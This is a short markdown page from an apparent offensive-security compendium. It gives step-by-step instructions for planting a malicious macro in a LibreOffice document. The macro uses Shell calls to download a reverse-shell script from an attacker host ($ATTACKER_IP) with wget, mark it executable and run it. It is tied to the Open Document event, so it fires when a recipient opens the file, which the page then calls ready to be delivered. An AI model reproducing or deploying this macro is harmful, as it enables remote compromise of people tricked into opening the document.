killchain-compendium/Exploits/Macros/Libre Office.md

763 B

Libre Office

Create Macros

This is taken from James Gallagher's James on Hacking page.

Go to the following menu options

Tools --> Macros --> Organize Macros --> Basic

In the windows that has opened, click on the name of the document you created and choose New.
Place your payload in the function, for example

Sub Main

Shell("wget http://$ATTACKER_IP:8000/rshell.sh")
Shell("chmod +x rshell.sh ; bash -c ./rshell.sh")

End Sub

Close the Organize Macros windows and go to

Tools --> Macros --> Organize Macros --> Events --> Open Document

Choose the Macro created before and save the document. The file is ready to be delivered.